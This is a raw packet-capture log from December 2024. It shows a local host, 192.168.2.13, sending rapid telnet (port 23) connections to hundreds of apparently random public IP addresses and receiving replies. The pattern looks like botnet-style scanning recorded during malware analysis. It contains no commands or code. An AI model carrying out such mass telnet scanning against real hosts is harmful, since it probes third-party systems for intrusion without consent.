Dec 3, 2024 21:47:19.409454107 CET	40955	23	192.168.2.13	134.148.57.172
Dec 3, 2024 21:47:19.409454107 CET	40955	23	192.168.2.13	100.209.93.174
Dec 3, 2024 21:47:19.409460068 CET	40955	23	192.168.2.13	169.48.39.41
Dec 3, 2024 21:47:19.409470081 CET	40955	23	192.168.2.13	174.5.112.20
Dec 3, 2024 21:47:19.409482956 CET	23	40955	146.236.98.71	192.168.2.13
Dec 3, 2024 21:47:19.409496069 CET	23	40955	124.62.115.92	192.168.2.13
Dec 3, 2024 21:47:19.409516096 CET	40955	23	192.168.2.13	146.236.98.71
Dec 3, 2024 21:47:19.409523010 CET	40955	23	192.168.2.13	124.62.115.92
Dec 3, 2024 21:47:19.409574986 CET	23	40955	208.244.236.193	192.168.2.13
Dec 3, 2024 21:47:19.409588099 CET	23	40955	74.201.93.2	192.168.2.13
Dec 3, 2024 21:47:19.409607887 CET	40955	23	192.168.2.13	208.244.236.193
Dec 3, 2024 21:47:19.409640074 CET	40955	23	192.168.2.13	74.201.93.2
Dec 3, 2024 21:47:19.409662962 CET	23	40955	71.1.0.30	192.168.2.13
Dec 3, 2024 21:47:19.409673929 CET	23	40955	126.6.133.189	192.168.2.13
Dec 3, 2024 21:47:19.409696102 CET	40955	23	192.168.2.13	71.1.0.30
Dec 3, 2024 21:47:19.409714937 CET	40955	23	192.168.2.13	126.6.133.189
Dec 3, 2024 21:47:19.410579920 CET	23	40955	121.204.176.140	192.168.2.13
Dec 3, 2024 21:47:19.410634041 CET	40955	23	192.168.2.13	121.204.176.140
Dec 3, 2024 21:47:19.410664082 CET	23	40955	88.121.205.136	192.168.2.13
Dec 3, 2024 21:47:19.410697937 CET	40955	23	192.168.2.13	88.121.205.136
Dec 3, 2024 21:47:19.410717964 CET	23	40955	139.153.139.168	192.168.2.13
Dec 3, 2024 21:47:19.410732031 CET	23	40955	2.196.201.76	192.168.2.13
Dec 3, 2024 21:47:19.410751104 CET	23	40955	190.143.69.78	192.168.2.13
Dec 3, 2024 21:47:19.410751104 CET	40955	23	192.168.2.13	139.153.139.168
Dec 3, 2024 21:47:19.410768986 CET	40955	23	192.168.2.13	2.196.201.76
Dec 3, 2024 21:47:19.410777092 CET	23	40955	86.24.124.195	192.168.2.13
Dec 3, 2024 21:47:19.410788059 CET	40955	23	192.168.2.13	190.143.69.78
Dec 3, 2024 21:47:19.410799026 CET	23	40955	5.150.106.241	192.168.2.13
Dec 3, 2024 21:47:19.410811901 CET	40955	23	192.168.2.13	86.24.124.195
Dec 3, 2024 21:47:19.410823107 CET	23	40955	172.54.117.84	192.168.2.13
Dec 3, 2024 21:47:19.410828114 CET	40955	23	192.168.2.13	5.150.106.241
Dec 3, 2024 21:47:19.410837889 CET	23	40955	113.203.255.88	192.168.2.13
Dec 3, 2024 21:47:19.410855055 CET	40955	23	192.168.2.13	172.54.117.84
Dec 3, 2024 21:47:19.410856009 CET	23	40955	175.241.29.232	192.168.2.13
Dec 3, 2024 21:47:19.410867929 CET	23	40955	152.106.228.182	192.168.2.13
Dec 3, 2024 21:47:19.410885096 CET	40955	23	192.168.2.13	175.241.29.232
Dec 3, 2024 21:47:19.410916090 CET	40955	23	192.168.2.13	152.106.228.182
Dec 3, 2024 21:47:19.410919905 CET	40955	23	192.168.2.13	113.203.255.88
Dec 3, 2024 21:47:19.410989046 CET	23	40955	97.147.106.167	192.168.2.13
Dec 3, 2024 21:47:19.411004066 CET	23	40955	57.27.177.169	192.168.2.13
Dec 3, 2024 21:47:19.411016941 CET	23	40955	77.41.240.22	192.168.2.13
Dec 3, 2024 21:47:19.411031008 CET	23	40955	103.35.123.20	192.168.2.13
Dec 3, 2024 21:47:19.411040068 CET	40955	23	192.168.2.13	97.147.106.167
Dec 3, 2024 21:47:19.411042929 CET	40955	23	192.168.2.13	57.27.177.169
Dec 3, 2024 21:47:19.411046028 CET	40955	23	192.168.2.13	77.41.240.22
Dec 3, 2024 21:47:19.411051989 CET	23	40955	173.253.183.193	192.168.2.13
Dec 3, 2024 21:47:19.411062002 CET	40955	23	192.168.2.13	103.35.123.20
Dec 3, 2024 21:47:19.411066055 CET	23	40955	39.11.91.53	192.168.2.13
Dec 3, 2024 21:47:19.411084890 CET	23	40955	137.48.17.30	192.168.2.13
Dec 3, 2024 21:47:19.411088943 CET	40955	23	192.168.2.13	173.253.183.193
Dec 3, 2024 21:47:19.411098003 CET	23	40955	59.70.174.115	192.168.2.13
Dec 3, 2024 21:47:19.411102057 CET	40955	23	192.168.2.13	39.11.91.53
Dec 3, 2024 21:47:19.411117077 CET	23	40955	218.81.203.43	192.168.2.13
Dec 3, 2024 21:47:19.411124945 CET	40955	23	192.168.2.13	137.48.17.30
Dec 3, 2024 21:47:19.411128998 CET	23	40955	1.23.12.102	192.168.2.13
Dec 3, 2024 21:47:19.411134958 CET	40955	23	192.168.2.13	59.70.174.115
Dec 3, 2024 21:47:19.411144018 CET	23	40955	31.126.244.141	192.168.2.13
Dec 3, 2024 21:47:19.411150932 CET	40955	23	192.168.2.13	218.81.203.43
Dec 3, 2024 21:47:19.411150932 CET	40955	23	192.168.2.13	1.23.12.102
Dec 3, 2024 21:47:19.411170959 CET	23	40955	158.249.193.65	192.168.2.13
Dec 3, 2024 21:47:19.411180019 CET	40955	23	192.168.2.13	31.126.244.141
Dec 3, 2024 21:47:19.411192894 CET	23	40955	158.183.34.252	192.168.2.13
Dec 3, 2024 21:47:19.411205053 CET	23	40955	117.67.39.134	192.168.2.13
Dec 3, 2024 21:47:19.411210060 CET	40955	23	192.168.2.13	158.249.193.65
Dec 3, 2024 21:47:19.411221027 CET	40955	23	192.168.2.13	158.183.34.252
Dec 3, 2024 21:47:19.411221027 CET	23	40955	192.57.50.101	192.168.2.13
Dec 3, 2024 21:47:19.411237001 CET	23	40955	201.132.98.197	192.168.2.13
Dec 3, 2024 21:47:19.411242008 CET	40955	23	192.168.2.13	117.67.39.134
Dec 3, 2024 21:47:19.411252975 CET	23	40955	18.250.222.172	192.168.2.13
Dec 3, 2024 21:47:19.411257029 CET	40955	23	192.168.2.13	192.57.50.101
Dec 3, 2024 21:47:19.411271095 CET	40955	23	192.168.2.13	201.132.98.197
Dec 3, 2024 21:47:19.411297083 CET	40955	23	192.168.2.13	18.250.222.172
Dec 3, 2024 21:47:19.411881924 CET	23	40955	50.129.163.90	192.168.2.13
Dec 3, 2024 21:47:19.411892891 CET	23	40955	23.246.51.98	192.168.2.13
Dec 3, 2024 21:47:19.411914110 CET	23	40955	163.163.175.239	192.168.2.13
Dec 3, 2024 21:47:19.411919117 CET	40955	23	192.168.2.13	50.129.163.90
Dec 3, 2024 21:47:19.411947966 CET	23	40955	140.46.16.31	192.168.2.13
Dec 3, 2024 21:47:19.411952019 CET	40955	23	192.168.2.13	163.163.175.239
Dec 3, 2024 21:47:19.411962986 CET	23	40955	89.136.224.204	192.168.2.13
Dec 3, 2024 21:47:19.411973000 CET	40955	23	192.168.2.13	23.246.51.98
Dec 3, 2024 21:47:19.411978006 CET	40955	23	192.168.2.13	140.46.16.31
Dec 3, 2024 21:47:19.411993027 CET	40955	23	192.168.2.13	89.136.224.204
Dec 3, 2024 21:47:19.412003994 CET	23	40955	168.74.237.199	192.168.2.13
Dec 3, 2024 21:47:19.412023067 CET	23	40955	167.189.243.26	192.168.2.13
Dec 3, 2024 21:47:19.412041903 CET	40955	23	192.168.2.13	168.74.237.199
Dec 3, 2024 21:47:19.412049055 CET	23	40955	212.139.86.133	192.168.2.13
Dec 3, 2024 21:47:19.412061930 CET	40955	23	192.168.2.13	167.189.243.26
Dec 3, 2024 21:47:19.412062883 CET	23	40955	43.248.97.133	192.168.2.13
Dec 3, 2024 21:47:19.412090063 CET	23	40955	42.45.53.82	192.168.2.13
Dec 3, 2024 21:47:19.412096024 CET	40955	23	192.168.2.13	43.248.97.133
Dec 3, 2024 21:47:19.412105083 CET	23	40955	49.188.38.26	192.168.2.13
Dec 3, 2024 21:47:19.412106991 CET	40955	23	192.168.2.13	212.139.86.133
Dec 3, 2024 21:47:19.412120104 CET	40955	23	192.168.2.13	42.45.53.82
Dec 3, 2024 21:47:19.412138939 CET	23	40955	165.125.3.194	192.168.2.13
Dec 3, 2024 21:47:19.412142992 CET	40955	23	192.168.2.13	49.188.38.26
Dec 3, 2024 21:47:19.412153959 CET	23	40955	152.137.14.20	192.168.2.13
Dec 3, 2024 21:47:19.412173986 CET	40955	23	192.168.2.13	165.125.3.194
Dec 3, 2024 21:47:19.412178040 CET	23	40955	50.167.135.72	192.168.2.13
Dec 3, 2024 21:47:19.412178993 CET	40955	23	192.168.2.13	152.137.14.20
Dec 3, 2024 21:47:19.412193060 CET	23	40955	119.209.164.32	192.168.2.13
Dec 3, 2024 21:47:19.412209988 CET	23	40955	119.240.29.41	192.168.2.13
Dec 3, 2024 21:47:19.412209988 CET	40955	23	192.168.2.13	50.167.135.72
Dec 3, 2024 21:47:19.412229061 CET	40955	23	192.168.2.13	119.209.164.32
Dec 3, 2024 21:47:19.412239075 CET	23	40955	156.219.151.172	192.168.2.13
Dec 3, 2024 21:47:19.412249088 CET	40955	23	192.168.2.13	119.240.29.41
Dec 3, 2024 21:47:19.412272930 CET	40955	23	192.168.2.13	156.219.151.172
Dec 3, 2024 21:47:19.412276983 CET	23	40955	93.238.241.214	192.168.2.13
Dec 3, 2024 21:47:19.412292004 CET	23	40955	164.67.115.43	192.168.2.13
Dec 3, 2024 21:47:19.412306070 CET	23	40955	46.53.138.43	192.168.2.13
Dec 3, 2024 21:47:19.412312984 CET	40955	23	192.168.2.13	93.238.241.214
Dec 3, 2024 21:47:19.412319899 CET	40955	23	192.168.2.13	164.67.115.43
Dec 3, 2024 21:47:19.412323952 CET	23	40955	184.249.250.49	192.168.2.13
Dec 3, 2024 21:47:19.412338018 CET	40955	23	192.168.2.13	46.53.138.43
Dec 3, 2024 21:47:19.412348986 CET	23	40955	47.37.185.127	192.168.2.13
Dec 3, 2024 21:47:19.412369013 CET	40955	23	192.168.2.13	184.249.250.49
Dec 3, 2024 21:47:19.412374020 CET	23	40955	221.140.49.29	192.168.2.13
Dec 3, 2024 21:47:19.412381887 CET	40955	23	192.168.2.13	47.37.185.127
Dec 3, 2024 21:47:19.412393093 CET	23	40955	131.7.216.217	192.168.2.13
Dec 3, 2024 21:47:19.412400007 CET	40955	23	192.168.2.13	221.140.49.29
Dec 3, 2024 21:47:19.412406921 CET	23	40955	17.18.209.12	192.168.2.13
Dec 3, 2024 21:47:19.412431002 CET	23	40955	204.87.125.250	192.168.2.13
Dec 3, 2024 21:47:19.412436008 CET	40955	23	192.168.2.13	131.7.216.217
Dec 3, 2024 21:47:19.412436008 CET	40955	23	192.168.2.13	17.18.209.12
Dec 3, 2024 21:47:19.412461042 CET	23	40955	187.109.27.90	192.168.2.13
Dec 3, 2024 21:47:19.412467957 CET	40955	23	192.168.2.13	204.87.125.250
Dec 3, 2024 21:47:19.412476063 CET	23	40955	139.41.210.255	192.168.2.13
Dec 3, 2024 21:47:19.412497997 CET	40955	23	192.168.2.13	187.109.27.90
Dec 3, 2024 21:47:19.412508965 CET	40955	23	192.168.2.13	139.41.210.255
Dec 3, 2024 21:47:19.413207054 CET	23	40955	143.228.91.180	192.168.2.13
Dec 3, 2024 21:47:19.413253069 CET	40955	23	192.168.2.13	143.228.91.180
Dec 3, 2024 21:47:19.413276911 CET	23	40955	206.215.231.77	192.168.2.13
Dec 3, 2024 21:47:19.413294077 CET	23	40955	19.146.125.12	192.168.2.13
Dec 3, 2024 21:47:19.413306952 CET	23	40955	51.59.200.228	192.168.2.13
Dec 3, 2024 21:47:19.413324118 CET	23	40955	152.169.127.83	192.168.2.13
Dec 3, 2024 21:47:19.413327932 CET	40955	23	192.168.2.13	206.215.231.77
Dec 3, 2024 21:47:19.413327932 CET	40955	23	192.168.2.13	19.146.125.12
Dec 3, 2024 21:47:19.413338900 CET	40955	23	192.168.2.13	51.59.200.228
Dec 3, 2024 21:47:19.413352966 CET	40955	23	192.168.2.13	152.169.127.83
Dec 3, 2024 21:47:19.413357973 CET	23	40955	167.254.55.50	192.168.2.13
Dec 3, 2024 21:47:19.413392067 CET	23	40955	171.53.62.189	192.168.2.13
Dec 3, 2024 21:47:19.413402081 CET	40955	23	192.168.2.13	167.254.55.50
Dec 3, 2024 21:47:19.413422108 CET	23	40955	212.51.137.189	192.168.2.13
Dec 3, 2024 21:47:19.413451910 CET	40955	23	192.168.2.13	171.53.62.189
Dec 3, 2024 21:47:19.413458109 CET	40955	23	192.168.2.13	212.51.137.189
Dec 3, 2024 21:47:19.413467884 CET	23	40955	57.27.148.249	192.168.2.13
Dec 3, 2024 21:47:19.413477898 CET	23	40955	163.141.61.12	192.168.2.13
Dec 3, 2024 21:47:19.413496971 CET	40955	23	192.168.2.13	57.27.148.249
Dec 3, 2024 21:47:19.413508892 CET	40955	23	192.168.2.13	163.141.61.12
Dec 3, 2024 21:47:19.413512945 CET	23	40955	27.156.18.191	192.168.2.13
Dec 3, 2024 21:47:19.413527966 CET	23	40955	48.223.195.87	192.168.2.13
Dec 3, 2024 21:47:19.413543940 CET	40955	23	192.168.2.13	27.156.18.191
Dec 3, 2024 21:47:19.413553953 CET	23	40955	32.42.115.204	192.168.2.13
Dec 3, 2024 21:47:19.413559914 CET	40955	23	192.168.2.13	48.223.195.87
Dec 3, 2024 21:47:19.413566113 CET	23	40955	103.108.127.42	192.168.2.13
Dec 3, 2024 21:47:19.413590908 CET	40955	23	192.168.2.13	32.42.115.204
Dec 3, 2024 21:47:19.413599968 CET	40955	23	192.168.2.13	103.108.127.42
Dec 3, 2024 21:47:19.413603067 CET	23	40955	150.240.35.30	192.168.2.13
Dec 3, 2024 21:47:19.413619041 CET	23	40955	132.4.45.52	192.168.2.13
Dec 3, 2024 21:47:19.413644075 CET	40955	23	192.168.2.13	150.240.35.30
Dec 3, 2024 21:47:19.413645029 CET	40955	23	192.168.2.13	132.4.45.52
Dec 3, 2024 21:47:19.413654089 CET	23	40955	74.172.112.248	192.168.2.13
Dec 3, 2024 21:47:19.413692951 CET	40955	23	192.168.2.13	74.172.112.248
Dec 3, 2024 21:47:19.413696051 CET	23	40955	12.18.59.170	192.168.2.13
Dec 3, 2024 21:47:19.413712978 CET	23	40955	139.165.234.101	192.168.2.13
Dec 3, 2024 21:47:19.413724899 CET	23	40955	5.105.134.68	192.168.2.13
Dec 3, 2024 21:47:19.413734913 CET	40955	23	192.168.2.13	12.18.59.170
Dec 3, 2024 21:47:19.413748026 CET	40955	23	192.168.2.13	139.165.234.101
Dec 3, 2024 21:47:19.413760900 CET	40955	23	192.168.2.13	5.105.134.68
Dec 3, 2024 21:47:19.413781881 CET	23	40955	204.26.139.203	192.168.2.13
Dec 3, 2024 21:47:19.413819075 CET	40955	23	192.168.2.13	204.26.139.203
Dec 3, 2024 21:47:19.413840055 CET	23	40955	17.25.171.130	192.168.2.13
Dec 3, 2024 21:47:19.413855076 CET	23	40955	115.58.15.120	192.168.2.13
Dec 3, 2024 21:47:19.413872004 CET	40955	23	192.168.2.13	17.25.171.130
Dec 3, 2024 21:47:19.413886070 CET	40955	23	192.168.2.13	115.58.15.120
Dec 3, 2024 21:47:19.413921118 CET	23	40955	141.129.181.57	192.168.2.13
Dec 3, 2024 21:47:19.413935900 CET	23	40955	73.103.216.49	192.168.2.13
Dec 3, 2024 21:47:19.413954020 CET	23	40955	173.47.19.249	192.168.2.13
Dec 3, 2024 21:47:19.413960934 CET	40955	23	192.168.2.13	141.129.181.57
Dec 3, 2024 21:47:19.413966894 CET	40955	23	192.168.2.13	73.103.216.49
Dec 3, 2024 21:47:19.413984060 CET	40955	23	192.168.2.13	173.47.19.249
Dec 3, 2024 21:47:19.413991928 CET	23	40955	107.230.201.119	192.168.2.13
Dec 3, 2024 21:47:19.414026022 CET	40955	23	192.168.2.13	107.230.201.119
Dec 3, 2024 21:47:19.414041996 CET	23	40955	66.209.35.111	192.168.2.13
Dec 3, 2024 21:47:19.414074898 CET	40955	23	192.168.2.13	66.209.35.111
Dec 3, 2024 21:47:19.414966106 CET	23	40955	70.230.5.91	192.168.2.13
Dec 3, 2024 21:47:19.414978981 CET	23	40955	128.70.56.3	192.168.2.13
Dec 3, 2024 21:47:19.415003061 CET	40955	23	192.168.2.13	70.230.5.91
Dec 3, 2024 21:47:19.415004015 CET	23	40955	208.234.149.41	192.168.2.13
Dec 3, 2024 21:47:19.415013075 CET	40955	23	192.168.2.13	128.70.56.3
Dec 3, 2024 21:47:19.415018082 CET	23	40955	90.109.99.140	192.168.2.13
Dec 3, 2024 21:47:19.415035963 CET	23	40955	176.134.245.118	192.168.2.13
Dec 3, 2024 21:47:19.415044069 CET	40955	23	192.168.2.13	208.234.149.41
Dec 3, 2024 21:47:19.415060043 CET	23	40955	99.22.233.107	192.168.2.13
Dec 3, 2024 21:47:19.415074110 CET	40955	23	192.168.2.13	176.134.245.118
Dec 3, 2024 21:47:19.415076017 CET	40955	23	192.168.2.13	90.109.99.140
Dec 3, 2024 21:47:19.415083885 CET	23	40955	116.83.192.129	192.168.2.13
Dec 3, 2024 21:47:19.415098906 CET	40955	23	192.168.2.13	99.22.233.107
Dec 3, 2024 21:47:19.415119886 CET	23	40955	115.84.66.9	192.168.2.13
Dec 3, 2024 21:47:19.415126085 CET	40955	23	192.168.2.13	116.83.192.129
Dec 3, 2024 21:47:19.415143013 CET	23	40955	99.200.114.197	192.168.2.13
Dec 3, 2024 21:47:19.415158987 CET	40955	23	192.168.2.13	115.84.66.9
Dec 3, 2024 21:47:19.415194035 CET	40955	23	192.168.2.13	99.200.114.197
Dec 3, 2024 21:47:19.415224075 CET	23	40955	49.55.227.252	192.168.2.13
Dec 3, 2024 21:47:19.415239096 CET	23	40955	163.145.181.100	192.168.2.13
Dec 3, 2024 21:47:19.415293932 CET	40955	23	192.168.2.13	49.55.227.252
Dec 3, 2024 21:47:19.415293932 CET	40955	23	192.168.2.13	163.145.181.100
Dec 3, 2024 21:47:19.415322065 CET	23	40955	13.105.240.24	192.168.2.13
Dec 3, 2024 21:47:19.415337086 CET	23	40955	118.143.236.92	192.168.2.13
Dec 3, 2024 21:47:19.415349960 CET	23	40955	185.51.152.70	192.168.2.13
Dec 3, 2024 21:47:19.415358067 CET	40955	23	192.168.2.13	13.105.240.24
Dec 3, 2024 21:47:19.415361881 CET	40955	23	192.168.2.13	118.143.236.92
Dec 3, 2024 21:47:19.415364027 CET	23	40955	90.59.56.11	192.168.2.13
Dec 3, 2024 21:47:19.415380955 CET	40955	23	192.168.2.13	185.51.152.70
Dec 3, 2024 21:47:19.415388107 CET	23	40955	189.119.136.141	192.168.2.13
Dec 3, 2024 21:47:19.415395975 CET	40955	23	192.168.2.13	90.59.56.11
Dec 3, 2024 21:47:19.415400028 CET	23	40955	136.16.33.132	192.168.2.13
Dec 3, 2024 21:47:19.415411949 CET	23	40955	194.224.2.150	192.168.2.13
Dec 3, 2024 21:47:19.415429115 CET	23	40955	132.115.145.83	192.168.2.13
Dec 3, 2024 21:47:19.415433884 CET	40955	23	192.168.2.13	189.119.136.141
Dec 3, 2024 21:47:19.415433884 CET	40955	23	192.168.2.13	136.16.33.132
Dec 3, 2024 21:47:19.415442944 CET	40955	23	192.168.2.13	194.224.2.150
Dec 3, 2024 21:47:19.415446043 CET	23	40955	113.244.18.77	192.168.2.13
Dec 3, 2024 21:47:19.415458918 CET	23	40955	190.98.74.227	192.168.2.13
Dec 3, 2024 21:47:19.415465117 CET	40955	23	192.168.2.13	132.115.145.83
Dec 3, 2024 21:47:19.415473938 CET	23	40955	8.179.216.214	192.168.2.13
Dec 3, 2024 21:47:19.415477037 CET	40955	23	192.168.2.13	113.244.18.77
Dec 3, 2024 21:47:19.415486097 CET	40955	23	192.168.2.13	190.98.74.227
Dec 3, 2024 21:47:19.415502071 CET	40955	23	192.168.2.13	8.179.216.214
Dec 3, 2024 21:47:19.415504932 CET	23	40955	105.50.207.32	192.168.2.13
Dec 3, 2024 21:47:19.415519953 CET	23	40955	81.56.114.24	192.168.2.13
Dec 3, 2024 21:47:19.415533066 CET	23	40955	189.249.184.104	192.168.2.13
Dec 3, 2024 21:47:19.415540934 CET	40955	23	192.168.2.13	105.50.207.32
Dec 3, 2024 21:47:19.415543079 CET	23	40955	158.158.186.4	192.168.2.13
Dec 3, 2024 21:47:19.415553093 CET	40955	23	192.168.2.13	81.56.114.24
Dec 3, 2024 21:47:19.415560007 CET	23	40955	168.161.131.138	192.168.2.13
Dec 3, 2024 21:47:19.415561914 CET	40955	23	192.168.2.13	189.249.184.104
Dec 3, 2024 21:47:19.415575981 CET	23	40955	77.153.113.203	192.168.2.13
Dec 3, 2024 21:47:19.415597916 CET	40955	23	192.168.2.13	158.158.186.4
Dec 3, 2024 21:47:19.415597916 CET	40955	23	192.168.2.13	168.161.131.138
Dec 3, 2024 21:47:19.415601969 CET	40955	23	192.168.2.13	77.153.113.203
Dec 3, 2024 21:47:19.416138887 CET	23	40955	101.6.215.183	192.168.2.13
Dec 3, 2024 21:47:19.416179895 CET	40955	23	192.168.2.13	101.6.215.183
Dec 3, 2024 21:47:19.416208029 CET	23	40955	104.195.116.150	192.168.2.13
Dec 3, 2024 21:47:19.416243076 CET	40955	23	192.168.2.13	104.195.116.150
Dec 3, 2024 21:47:19.416258097 CET	23	40955	173.97.107.202	192.168.2.13
Dec 3, 2024 21:47:19.416301966 CET	40955	23	192.168.2.13	173.97.107.202
Dec 3, 2024 21:47:19.416315079 CET	23	40955	40.111.51.241	192.168.2.13
Dec 3, 2024 21:47:19.416357994 CET	40955	23	192.168.2.13	40.111.51.241
Dec 3, 2024 21:47:19.416378021 CET	23	40955	168.51.182.111	192.168.2.13
Dec 3, 2024 21:47:19.416416883 CET	40955	23	192.168.2.13	168.51.182.111
Dec 3, 2024 21:47:19.416429996 CET	23	40955	66.93.155.62	192.168.2.13
Dec 3, 2024 21:47:19.416469097 CET	40955	23	192.168.2.13	66.93.155.62
Dec 3, 2024 21:47:19.416568995 CET	23	40955	128.97.60.219	192.168.2.13
Dec 3, 2024 21:47:19.416603088 CET	23	40955	47.59.84.175	192.168.2.13
Dec 3, 2024 21:47:19.416604042 CET	40955	23	192.168.2.13	128.97.60.219
Dec 3, 2024 21:47:19.416639090 CET	40955	23	192.168.2.13	47.59.84.175
Dec 3, 2024 21:47:19.416644096 CET	23	40955	159.148.83.226	192.168.2.13
Dec 3, 2024 21:47:19.416690111 CET	40955	23	192.168.2.13	159.148.83.226
Dec 3, 2024 21:47:19.416723967 CET	23	40955	75.42.117.209	192.168.2.13
Dec 3, 2024 21:47:19.416739941 CET	23	40955	218.173.89.143	192.168.2.13
Dec 3, 2024 21:47:19.416757107 CET	23	40955	75.206.192.163	192.168.2.13
Dec 3, 2024 21:47:19.416760921 CET	40955	23	192.168.2.13	75.42.117.209
Dec 3, 2024 21:47:19.416765928 CET	40955	23	192.168.2.13	218.173.89.143
Dec 3, 2024 21:47:19.416789055 CET	23	40955	148.76.1.171	192.168.2.13
Dec 3, 2024 21:47:19.416791916 CET	40955	23	192.168.2.13	75.206.192.163
Dec 3, 2024 21:47:19.416824102 CET	40955	23	192.168.2.13	148.76.1.171
Dec 3, 2024 21:47:19.416846991 CET	23	40955	157.164.143.193	192.168.2.13
Dec 3, 2024 21:47:19.416887045 CET	40955	23	192.168.2.13	157.164.143.193
Dec 3, 2024 21:47:19.416894913 CET	23	40955	201.152.68.221	192.168.2.13
Dec 3, 2024 21:47:19.416912079 CET	23	40955	73.130.213.139	192.168.2.13
Dec 3, 2024 21:47:19.416927099 CET	40955	23	192.168.2.13	201.152.68.221
Dec 3, 2024 21:47:19.416929007 CET	23	40955	80.1.27.136	192.168.2.13
Dec 3, 2024 21:47:19.416941881 CET	40955	23	192.168.2.13	73.130.213.139
Dec 3, 2024 21:47:19.416943073 CET	23	40955	211.162.242.203	192.168.2.13
Dec 3, 2024 21:47:19.416956902 CET	40955	23	192.168.2.13	80.1.27.136
Dec 3, 2024 21:47:19.416976929 CET	40955	23	192.168.2.13	211.162.242.203
Dec 3, 2024 21:47:19.417119980 CET	23	40955	124.90.40.67	192.168.2.13
Dec 3, 2024 21:47:19.417135000 CET	23	40955	154.125.46.88	192.168.2.13
Dec 3, 2024 21:47:19.417148113 CET	23	40955	171.164.161.171	192.168.2.13
Dec 3, 2024 21:47:19.417162895 CET	23	40955	119.226.233.70	192.168.2.13
Dec 3, 2024 21:47:19.417174101 CET	23	40955	188.246.213.236	192.168.2.13
Dec 3, 2024 21:47:19.417177916 CET	40955	23	192.168.2.13	124.90.40.67
Dec 3, 2024 21:47:19.417177916 CET	40955	23	192.168.2.13	154.125.46.88
Dec 3, 2024 21:47:19.417177916 CET	40955	23	192.168.2.13	171.164.161.171
Dec 3, 2024 21:47:19.417191029 CET	23	40955	32.47.163.149	192.168.2.13
Dec 3, 2024 21:47:19.417203903 CET	40955	23	192.168.2.13	119.226.233.70
Dec 3, 2024 21:47:19.417206049 CET	23	40955	148.52.43.218	192.168.2.13
Dec 3, 2024 21:47:19.417215109 CET	23	40955	91.127.18.132	192.168.2.13
Dec 3, 2024 21:47:19.417224884 CET	40955	23	192.168.2.13	188.246.213.236
Dec 3, 2024 21:47:19.417224884 CET	40955	23	192.168.2.13	32.47.163.149
Dec 3, 2024 21:47:19.417238951 CET	23	40955	35.43.236.86	192.168.2.13
Dec 3, 2024 21:47:19.417241096 CET	40955	23	192.168.2.13	148.52.43.218
Dec 3, 2024 21:47:19.417243004 CET	40955	23	192.168.2.13	91.127.18.132
Dec 3, 2024 21:47:19.417252064 CET	23	40955	207.162.200.117	192.168.2.13
Dec 3, 2024 21:47:19.417274952 CET	40955	23	192.168.2.13	35.43.236.86
Dec 3, 2024 21:47:19.417289019 CET	40955	23	192.168.2.13	207.162.200.117
Dec 3, 2024 21:47:19.417826891 CET	23	40955	45.244.241.44	192.168.2.13
Dec 3, 2024 21:47:19.417843103 CET	23	40955	85.9.48.207	192.168.2.13
Dec 3, 2024 21:47:19.417855024 CET	23	40955	81.197.186.236	192.168.2.13
Dec 3, 2024 21:47:19.417860985 CET	40955	23	192.168.2.13	45.244.241.44
Dec 3, 2024 21:47:19.417871952 CET	40955	23	192.168.2.13	85.9.48.207
Dec 3, 2024 21:47:19.417884111 CET	23	40955	60.158.203.172	192.168.2.13
Dec 3, 2024 21:47:19.417884111 CET	40955	23	192.168.2.13	81.197.186.236
Dec 3, 2024 21:47:19.417898893 CET	23	40955	136.66.47.145	192.168.2.13
Dec 3, 2024 21:47:19.417917013 CET	40955	23	192.168.2.13	60.158.203.172
Dec 3, 2024 21:47:19.417922974 CET	23	40955	184.214.199.112	192.168.2.13
Dec 3, 2024 21:47:19.417939901 CET	23	40955	150.135.66.28	192.168.2.13
Dec 3, 2024 21:47:19.417942047 CET	40955	23	192.168.2.13	136.66.47.145
Dec 3, 2024 21:47:19.417956114 CET	23	40955	198.190.9.212	192.168.2.13
Dec 3, 2024 21:47:19.417974949 CET	40955	23	192.168.2.13	150.135.66.28
Dec 3, 2024 21:47:19.417977095 CET	40955	23	192.168.2.13	184.214.199.112
Dec 3, 2024 21:47:19.417980909 CET	23	40955	113.92.118.90	192.168.2.13
Dec 3, 2024 21:47:19.418003082 CET	40955	23	192.168.2.13	198.190.9.212
Dec 3, 2024 21:47:19.418020964 CET	40955	23	192.168.2.13	113.92.118.90
Dec 3, 2024 21:47:19.418124914 CET	23	40955	207.227.1.39	192.168.2.13
Dec 3, 2024 21:47:19.418138981 CET	23	40955	140.2.29.141	192.168.2.13
Dec 3, 2024 21:47:19.418154955 CET	23	40955	97.162.84.157	192.168.2.13
Dec 3, 2024 21:47:19.418164968 CET	40955	23	192.168.2.13	207.227.1.39
Dec 3, 2024 21:47:19.418169022 CET	40955	23	192.168.2.13	140.2.29.141
Dec 3, 2024 21:47:19.418195009 CET	40955	23	192.168.2.13	97.162.84.157
Dec 3, 2024 21:47:19.418225050 CET	23	40955	200.8.210.128	192.168.2.13
Dec 3, 2024 21:47:19.418239117 CET	23	40955	203.190.67.224	192.168.2.13
Dec 3, 2024 21:47:19.418260098 CET	40955	23	192.168.2.13	200.8.210.128
Dec 3, 2024 21:47:19.418272018 CET	40955	23	192.168.2.13	203.190.67.224
Dec 3, 2024 21:47:19.418289900 CET	23	40955	13.193.104.209	192.168.2.13
Dec 3, 2024 21:47:19.418299913 CET	23	40955	145.8.62.56	192.168.2.13
Dec 3, 2024 21:47:19.418330908 CET	40955	23	192.168.2.13	13.193.104.209
Dec 3, 2024 21:47:19.418330908 CET	40955	23	192.168.2.13	145.8.62.56
Dec 3, 2024 21:47:19.418381929 CET	23	40955	217.66.1.255	192.168.2.13
Dec 3, 2024 21:47:19.418421030 CET	23	40955	69.106.220.102	192.168.2.13
Dec 3, 2024 21:47:19.418426991 CET	40955	23	192.168.2.13	217.66.1.255
Dec 3, 2024 21:47:19.418462038 CET	40955	23	192.168.2.13	69.106.220.102
Dec 3, 2024 21:47:19.418482065 CET	23	40955	50.13.187.93	192.168.2.13
Dec 3, 2024 21:47:19.418520927 CET	40955	23	192.168.2.13	50.13.187.93
Dec 3, 2024 21:47:19.418534994 CET	23	40955	178.134.254.202	192.168.2.13
Dec 3, 2024 21:47:19.418551922 CET	23	40955	60.188.249.149	192.168.2.13
Dec 3, 2024 21:47:19.418577909 CET	40955	23	192.168.2.13	178.134.254.202
Dec 3, 2024 21:47:19.418582916 CET	40955	23	192.168.2.13	60.188.249.149
Dec 3, 2024 21:47:19.418652058 CET	23	40955	105.137.6.78	192.168.2.13
Dec 3, 2024 21:47:19.418668032 CET	23	40955	166.34.3.113	192.168.2.13
